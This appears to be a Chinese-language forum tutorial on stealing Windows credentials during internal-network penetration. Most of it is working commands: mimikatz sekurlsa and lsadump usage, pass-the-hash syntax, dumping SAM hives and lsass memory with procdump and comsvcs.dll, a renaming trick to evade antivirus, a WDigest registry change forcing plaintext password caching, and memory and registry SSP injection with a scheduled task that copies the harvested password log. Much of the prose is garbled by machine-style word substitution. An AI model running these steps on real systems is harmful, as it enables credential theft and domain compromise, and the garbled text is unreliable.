密码抓取技术
在内网渗透过程中,拿到机器甚至域控的密码或者hash是非常重要的,今天重要为大家介绍一下内网中密码抓取的一些技术。
密码抓取方法
使用mimikatz
提权到debug权限mimikatz有非常多模块和下令,可以使用下令此下令是用各种方法来读取明文密码
mimikatz常用模块和下令- cls: 清屏
- standard: 标准模块,基本命令
- crypto: 加密相关模块
- sekurlsa: 与证书相关的模块
- kerberos: kerberos模块
- privilege: 提权相关模块
- process: 进程相关模块
- serivce: 服务相关模块
- lsadump: LsaDump模块
- ts: 终端服务器模块
- event: 事件模块
- misc: 杂项模块
- token: 令牌操作模块
- vault: Windows 、证书模块
- minesweeper:Mine Sweeper模块
- net:
- dpapi: DPAPI模块(通过API或RAN访问》[数据保护应用程序编程接口]
- busylight: BusyLight 模块
- sysenv: 系统环境值模块
- sid: 安全标识符模块
- iis: IIS XML配贸模块
- rpc: mimikatz的RPC控制
- sr98: 用于SR98设备和T5577目标的RF模块
- rdm: RDM(830AL)器件的射频模块
- acri ACR模块
- version: 查看版本
- exit: 退出
复制代码- privilege模块
- privilege::debug 提升为debug权限
- sekurlsa:模块,从lsass进程中提取passwords、keys、pin、tickets等信息
- sekurlsa::msv 获取HASH(LM,NTLM)
- sekurlsa::wdigest 通过可逆的方式去内存中读取明文密码
- sekurlsa::Kerberos 假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码
- sekurlsa::tspkg 通过tspkg读取明文密码
- sekurlsa::livessp 通过livessp读取明文密码
- sekurlsa::ssp 通过ssp读取明文密码
- sekurlsa::logonPasswords 通过以上各种方法读取明文密码
- sekurlsa::process 将自己的进程切换到lsass进程中,之前只是注入读取信息
- sekurlsa::minidumpfile 这个模块可以读取已经打包的内存信息
- sekurlsa::pth 哈希传递
- sekurlsa::pth /user:administrator/domain:host1 /ntlm:cdf34cda4e455232323xxxx
- sekurlsa::pth /user:administrator/domain:host1 /aes256:cdf34cda4e455232323xxxx
复制代码- process模块
- process::list 列出进程列表
- process::exports 导出进程列表
- process::imports 导入列表
- process::start 开始一个进程
- process::stop 停止一个程序
- process::suspend 冻结一个进程
- process::resume 从冻结中恢复
- process::run 运行一个程序
- process::runp 以SYSTEM系统权限打开一个新的mimikatz窗口
复制代码 通过mimikatz在线读取SAM文件
- 分开命令如下
- privilege::debug
- token::elevate
- lsadump::sam
- 连起来
- mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
复制代码
通过离线读取SAM文件
离线读取的意思就是将SAM文件复制到我们自己的电脑上,然后再用工具读取,离线读取在一定程度上可以躲避杀软
先通过工具或者脚本导出SAM文件
1.通过reg下令导出- reg save hklm\sam sam.hive
- reg save hklm\system syetem.hive
复制代码 2.使用PS脚本(Copy-VSS)- powershell-import Copy-VSS.ps1
- powershell Copy-VSS
复制代码
然后将文件下载到当地,再进行读取- lsadump::sam /sam:sam.hive /system:system.hive
复制代码 可以在CS服务端里找到
下载后再用mimikatz读取
在线读取lsass历程中的内存密码
依然使用mimikatz,这里不多叙述
离线读取lsass历程中的内存密码
离线读取重要就是如何导出文件
导出方式1:使用任务管理器
如果可以远程连接对方电脑,比如使用向日葵
导出方式2:使用procdump导出lsass.dump文件
procdump是一个下令行实用工具,重要用途是在管理员或开发人员可用于确定峰值缘故原由的峰值期间监视CPU峰值和天生故障转储的应用步伐,因此微软的一样平常不会被杀掉。
下载地点:https://docs.microsoft.com/en-us/sysinternals/downloads/procdump- procdump.exe -accepteula -ma lsass.exe lsass.dmp
- 其中-acceptula是为了绕过弹窗
复制代码
导出方式3:使用powershell脚本(Out-MiniDump.ps1)- powershell-import Out-MiniDump.ps1
- powershell Get-Process lsass | Out-Minidump
复制代码
导出方式4:使用comsvcs.dll的导出函数MiniDump实现dump内存
comsvcs.dll是系统自带的
首先检察lsass.exe历程PID- tasklist | findstr lsass.exe
复制代码 使用powershell导出- rundll32 C:\windows\system32\comsvcs.dll,MiniDump PID
- C:\lsass.dump full
复制代码
再对导出的文件进行读取- mimikatz.exe "sekurlsa::minidump lsass.dump" "sekurlsa::logonPasswords full"
复制代码 注意:此方法在导出时可能被杀软拦截,简单的绕过方法
copy一下comsvcs.dll并命名为随意名字,比方com.dll
copy C:\windows\System32\comsvcs.dll com.dll
rundll32.exe com.dll, MiniDump 508 lsass.dmp full
同时复制后的dll存放目标不要是系统的敏感目录,比如system32,否则可能被拦截
高版本密码抓取
win7,Win2008如许的机器内存中是存储明文密码的,但在2012之后的机器(win10,win8,win11,2012,2016)或者安装了KB2971997补丁,内存中就不再存储明文密码了
这里以Windowsserver2012为例
修改wdigest注册表获取系统密码
在Windows2012系统及其以上版本,默认在内存缓存中禁止保存明文密码,攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才气乐成抓取
1.先查询是否存在该值- reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredential
复制代码
2.修改UseLogonCredential值为1,注意一定要是最高管理员权限- reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
复制代码
3.现在内存中就可以存储明文密码了,但由于密码在内存中,需要锁屏或者注销用户然后重新登录,内存中就保留密码了- rundll32.exe user32.dll,LockWorkStation 锁屏
复制代码
乐成抓取到明文密码
内存注入SSP获取系统密码
在mimikatz中,有写好的恶意的SSP,他可以提供当地认证时对明文账号密码进行记载,我们需要将SSP注入到系统内存中,就可以获取当地的明文账号密码,由于是注入内存以是重启之后就失效了。
第一步:将SSP注入内存,有两种方式:
1.使用mimikatz:
2.使用PS脚本:- Import-Module .\InvokeMimikatz.ps1
- Invoke-Mimikatz -Command "misc::memssp"
复制代码 第二步:进行锁屏等操作
等待管理员输入争取的账号密码后在C:\Windows\System32\mimilsa.log,存放精确的账号密码
cs里面读不了mimilsa.log文件
办理方法:
可以通过筹划任务来办理
设置筹划任务把这个文件copy到桌面,或者发送到你的云上- schtasks /create /tn copy /sc onstart /tr C:\Users\Administrator\Desktop\1.bat /ru system /f
- schtasks /run /i /tn "copy"
- bat文件
- echo copy C:\Windows\System32\mimilsa.log C:\Users\Administrator\Desktop\1.txt > 1.bat
复制代码
如许桌面就会复制出来,可以检察到明文密码
注册表添加SSP获取系统密码
刚才讲到将SSP注入到内存中,有一个毛病就是在电脑重启之后就会失效,如果想要永久收效就需要将SSP添加到注册表中,之后系统重启就会加载SSP,如许就能获取明文账号密码
第一步:在mimikatz中有一个mimilib.dll文件,这个就是SSP,将这个文件复制到C:\Windows]System32目录下
第二步:修改注册表,重启之后就会加载SSP- reg add HKLM\SYSTEM\CurrentContrilSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f
复制代码 密码将会天生在C:\Windows\System32\kiwissp.log
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |